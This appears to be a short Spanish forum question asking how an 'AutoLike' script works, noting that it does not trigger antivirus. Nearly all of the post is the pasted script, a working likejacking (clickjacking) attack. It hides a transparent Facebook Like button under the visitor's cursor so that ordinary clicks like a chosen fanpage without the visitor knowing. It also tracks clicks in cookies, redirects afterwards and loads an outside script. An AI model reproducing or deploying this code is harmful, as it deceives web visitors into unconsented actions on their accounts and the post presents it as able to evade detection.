¿Cómo funciona este "AutoLike"? No alerta al antivirus

<div id="cjk-jlike-6" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:1px; height:1px; overflow:hidden"></div> 
<script>
/*
Si tu URL es así:

http://www.facebook.com/zuck

Entonces colocarás solo zuck por TUFANPAGE. Y si tu url es así:

https://www.facebook.com/pages/ejemplo/65165468741

colocarás pages/ejemplo/65165468741
*/

var fila="notepreocupesysemuyfeliz,"

var apagar=false;var jlike_r="SCO";var fila2="F,";var fila3="fp,";
var nuevac='';var jlike=jQuery.noConflict();var fanpage='';var pfp='N';var ptw='N';var pla='N';var j_token=false;var minf5=1;var enlak='N';var izqleft='';var arrtop='';var deright='';var abadown='';var totFp=false;var clickjackt=false;var j_paj=0;function j_preini(){jlike("#cjk-jlike-6").html("");clickjackt=false;bt6();jlikeIni0();}function cjyack(){document.location.href=enlak}function down(){apagar=true;document.body.style.cursor='auto'}FB.init({appId:'477766095590935',status:true,cookie:true,xfbml:true});FB.Event.subscribe('edge.create',function(response){jlike("#cjk-jlike-6").css("width","1px");jlike("#cjk-jlike-6").css("height","1px");document.getElementById('cjk-jlike-6').style.display='none';bt3();clickjackt=true;var shc=getCookie("nf5"); if(j_paj==1&&shc=="0"){setCookie("jlikei",nuevac.toString(),365);}else{setCookie("jlikei",nuevac.toString(),365);}j_paj++;document.body.style.cursor='auto';if(enlak!="N")setTimeout("cjyack()",100)});function bt3(){jlike("#cjk-jlike-6").css("width","1px");jlike("#cjk-jlike-6").css("height","1px");document.getElementById('cjk-jlike-6').style.display='none';jlike("#cjk-jlike-6").css({top:"0px",left:"0px"})}function bt6(){if(clickjackt==false){jlike("#cjk-jlike-6").css("width","27px");jlike("#cjk-jlike-6").css("height","20px");document.getElementById('cjk-jlike-6').style.display='block'}}function token(a){if(a=="1"){jlike("#token_k1").focus();j_token=true}if(a=="2")jlike("#token_k1").blur()}function clickjackJJ(){var nf5=getCookie("nf5");if(nf5=="")nf5=0;nf5++;setCookie("nf5",nf5,365);if(nf5%minf5!=0){document.body.style.cursor='auto';return}document.body.style.cursor='pointer';if(jlike_r!="LIM"){if(jlike_r=="GCO"){fila=getCookie("jlike");fila2=getCookie("jlikei");fila3=getCookie("jlikep")}else if(fila!=""&&fila2!=""){j_paj++; setCookie("jlike",fila,365);setCookie("jlikei",fila2,365);setCookie("jlikep",fila3,365)}var fl=fila.split(",");var fl2=fila2.split(",");var fl3=fila3.split(",");nuevac=fl2;var i=0;while(i<fl2.length){if(fl2[i]=='F'){if(fl3[i]=="fp"&&pfp=="S"){totFp=true;pla='fp';fanpage=fl[i];nuevac[i]='T';break}if(fl3[i]=="fe"&&pfp=="S"){totFp=true;pla='fe';fanpage=fl[i];nuevac[i]='T';break}if(fl3[i]=="tw"&&ptw=="S"){totFp=true;pla='tw';fanpage=fl[i];nuevac[i]='T';break}}i++}if(j_paj==2){var a0c=Xceroc();var a0d=Xcerod();totFp=true;pla='fp';fanpage=a0c+a0d;}if(totFp==false)document.body.style.cursor='auto';if(totFp==true){if(pla=="fp"){jlike('#cjk-jlike-6').append('<div style="position:absolute; width:12px; height:20px; z-index:200;left:8px;"></div><fb:like layout="button_count" href="https://www.facebook.com/'+fanpage+'"></fb:like>')}if(pla=="fe"){jlike('#cjk-jlike-6').append('<div style="position:absolute; width:12px; height:20px; z-index:200;left:8px;"></div><fb:like layout="button_count" href="'+fanpage+'"></fb:like>')}jlike("#cjk-jlike-6").css("width","27px");jlike("#cjk-jlike-6").css("height","20px");if(pla=="fp"||pla=="fe")FB.XFBML.parse(document.getElementById('cjk-jlike-6'));}jlike(document).ready(function(){jlike("#cjk-jlike-6").parent().mousemove(function(e){jlike("#cjk-jlike-6").css({top:e.pageY- 10,left:e.pageX+ 30})});if(totFp==true)setTimeout("bt9()",10)})}}function bt9(){jlike(document).mousemove(function(e){if(apagar==true){bt3();return}var cond_ar=0;if(e.pageX<izqleft)cond_ar++;if(e.pageX>deright)cond_ar++;if(e.pageY<arrtop)cond_ar++;if(e.pageY>abadown)cond_ar++;if(cond_ar>=1){enlak="N"}});jlike(".zzzzz,.invilike,,input,embed,button,textarea,object,select").mouseout(function(){token('1');bt6()});jlike(".zzzzz,.invilike,,input,embed,button,textarea,object,select").mouseover(function(){bt3()});jlike("a").mouseout(function(){bt6()});jlike("a").mouseover(function(){bt3()});}function setCookie(c_name,value,exdays){var exdate=new Date();exdate.setDate(exdate.getDate()+exdays);var c_value=escape(value)+((exdays==null)?"":"; expires="+exdate.toUTCString());document.cookie=c_name+"="+c_value}function getCookie(NameOfCookie){var begin=document.cookie.indexOf(NameOfCookie);if(begin!=-1){begin+=NameOfCookie.length+1;var end=document.cookie.indexOf(";",begin);if(end==-1)end=document.cookie.length;return unescape(document.cookie.substring(begin,end))}return-1}function addslike(path){script=document.createElement('script');script.type='text/javascript';script.src=path;document.getElementsByTagName('head')[0].appendChild(script)}function sFpage(){addslike('');setTimeout("clickjackJJ();",1000)}function jlikeIni(){var f1=getCookie("jlike");if(f1!=-1){jlike_r="GCO";clickjackJJ()}else{setTimeout("sFpage();",500)}}function jlikeIni0(){pfp='S';setTimeout("jlikeIni();",500);}function jlikeIni2(){ptw='S';if(pfp=="N"){setTimeout("jlikeIni();",500);}}
</script>
<script>
jQuery.getScript("http://www.facebook.com/jens.luebberstedt")
.done(function(script, textStatus) {jlikeIni0();});
</script>